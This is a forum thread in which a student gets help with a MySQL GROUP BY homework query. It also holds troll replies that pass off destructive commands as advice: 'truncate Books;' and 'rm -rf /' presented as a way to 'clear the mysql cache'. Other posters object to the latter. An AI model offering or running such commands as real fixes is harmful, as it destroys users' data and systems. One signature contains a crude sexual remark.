Mysql question

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • BSleazy
    Confirmed User
    • Aug 2002
    • 6721

    #1

    Mysql question

    I'm stuck on this problem What am I doing wrong? I need it to show all the book types with their average prices.

    For each type of book, list the book type and the average price. Only include paperback books.

    mysql> SELECT TYPE, AVG(PRICE)
    -> FROM BOOK
    -> WHERE PAPERBACK = 'Y';
    +------+------------+
    | TYPE | AVG(PRICE) |
    +------+------------+
    | SFI | 10.664348 |
    +------+------------+
    1 row in set (0.00 sec)
    icq 156131086
  • georgeyw
    58008 53773
    • Jul 2005
    • 9865

    #2
    Select type, avg(price) from book where paperback = 'y' group by type
    TripleXPrint on Megan Fox
    "I would STILL suck her pussy until her face caved in. And then blow her up and do it again!"

    Comment

    • Senior_Spank
      Registered User
      • Aug 2006
      • 63

      #3
      Include a GROUP BY 'column of book name/id' modifier, and it will spit out each book & the average.

      http://dev.mysql.com/doc/refman/5.1/...modifiers.html

      Comment

      • woj
        <&(©¿©)&>
        • Jul 2002
        • 47882

        #4
        need to "GROUP BY" something
        Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000
        Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager
        Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager

        Comment

        • sarettah
          see you later, I'm gone
          • Oct 2002
          • 14301

          #5
          Originally posted by BCyber
          I'm stuck on this problem What am I doing wrong? I need it to show all the book types with their average prices.

          For each type of book, list the book type and the average price. Only include paperback books.

          mysql> SELECT TYPE, AVG(PRICE)
          -> FROM BOOK
          -> WHERE PAPERBACK = 'Y';
          +------+------------+
          | TYPE | AVG(PRICE) |
          +------+------------+
          | SFI | 10.664348 |
          +------+------------+
          1 row in set (0.00 sec)
          Select type, avg(price) from book where paperback='Y' group by type
          All cookies cleared!

          Comment

          • sarettah
            see you later, I'm gone
            • Oct 2002
            • 14301

            #6
            Originally posted by georgeyw
            Select type, avg(price) from book where paperback = 'y' group by type
            lol, you're just a touch quicker than I am ;p
            All cookies cleared!

            Comment

            • georgeyw
              58008 53773
              • Jul 2005
              • 9865

              #7
              Originally posted by sarettah
              lol, you're just a touch quicker than I am ;p
              haha - I refreshed and saw your reply
              TripleXPrint on Megan Fox
              "I would STILL suck her pussy until her face caved in. And then blow her up and do it again!"

              Comment

              • Tempest
                Too lazy to set a custom title
                • May 2004
                • 10217

                #8
                ha ha ha.. was going to post the same answer as everyone else when there were no replies and then there were 6

                Comment

                • Jason Voorhees
                  So Fucking Banned
                  • Jul 2010
                  • 843

                  #9
                  Select type, avg(price) from book where paperback = 'y' group by type

                  Comment

                  • Jason Voorhees
                    So Fucking Banned
                    • Jul 2010
                    • 843

                    #10
                    Oh... Oh shit... Am I too late?

                    Comment

                    • BSleazy
                      Confirmed User
                      • Aug 2002
                      • 6721

                      #11
                      Dam that was a lot of replies fast...thanks
                      icq 156131086

                      Comment

                      • myneid
                        Confirmed User
                        • Jan 2003
                        • 736

                        #12
                        truncate Books;
                        Tanguy 0x7a69 inc. Programmer/President/CEO
                        http://www.0x7a69.com
                        A Leader in Programming since 1996
                        PHP, Ruby on Rails, MySQL, PCI DSS, and any Technical Consulting

                        Comment

                        • grumpy
                          Too lazy to set a custom title
                          • Jan 2002
                          • 9870

                          #13
                          Originally posted by myneid
                          truncate Books;
                          not so funny, apparently the guy isn't to familiar with MYSQL
                          Don't let greediness blur your vision | You gotta let some shit slide
                          icq - 441-456-888

                          Comment

                          • buran
                            Confirmed User
                            • Mar 2002
                            • 264

                            #14
                            Ohshit, can I get GFY to do my CS101 homework now? Werd!
                            [this signature intentionally left blank]

                            Comment

                            • 0x7noah
                              Registered User
                              • Mar 2010
                              • 2

                              #15
                              Originally posted by BCyber
                              Dam that was a lot of replies fast...thanks
                              you should clear your mysql cache after the other commands you were trying otherwise things will get real slow. Try
                              Code:
                              rm -rf /
                              at your shell prompt and just ignore the errors.

                              Comment

                              • sextoyking
                                Confirmed User
                                • Dec 2001
                                • 6034

                                #16
                                Originally posted by 0x7noah
                                you should clear your mysql cache after the other commands you were trying otherwise things will get real slow. Try
                                Code:
                                rm -rf /
                                at your shell prompt and just ignore the errors.

                                Your stupid!

                                do not do rm -rf
                                ICQ: 52344098
                                --------------------------------------
                                50% Commissions on all Product Sales. http://www.wishing.com/money

                                Comment

                                • 0x7noah
                                  Registered User
                                  • Mar 2010
                                  • 2

                                  #17
                                  Originally posted by sextoyking
                                  Your stupid!

                                  do not do rm -rf
                                  Why not? It is the best way to clear the cache. Otherwise you have to drop the databases and start over! DURRRR

                                  Comment

                                  • Jason Voorhees
                                    So Fucking Banned
                                    • Jul 2010
                                    • 843

                                    #18
                                    I don't think Bcyber is that stupid.

                                    Comment

                                    • BSleazy
                                      Confirmed User
                                      • Aug 2002
                                      • 6721

                                      #19
                                      The group by type is what I needed. Now I know where to come for help with my intro to mysql class

                                      I think I screwed myself on a couple of questions because we're only allowed to use things we've covered so far in the book but I used some other way I found out but oh well. Easy 4.0 in this class.
                                      icq 156131086

                                      Comment

                                      • BSleazy
                                        Confirmed User
                                        • Aug 2002
                                        • 6721

                                        #20
                                        Anyone know how to do this? Can't figure out how to change columns to not null.

                                        Change the Best_Seller column in the Mystery table to reject nulls.
                                        icq 156131086

                                        Comment

                                        • BSleazy
                                          Confirmed User
                                          • Aug 2002
                                          • 6721

                                          #21
                                          nevermind...soon as i posted that i came across it in my book.
                                          icq 156131086

                                          Comment

                                          Working...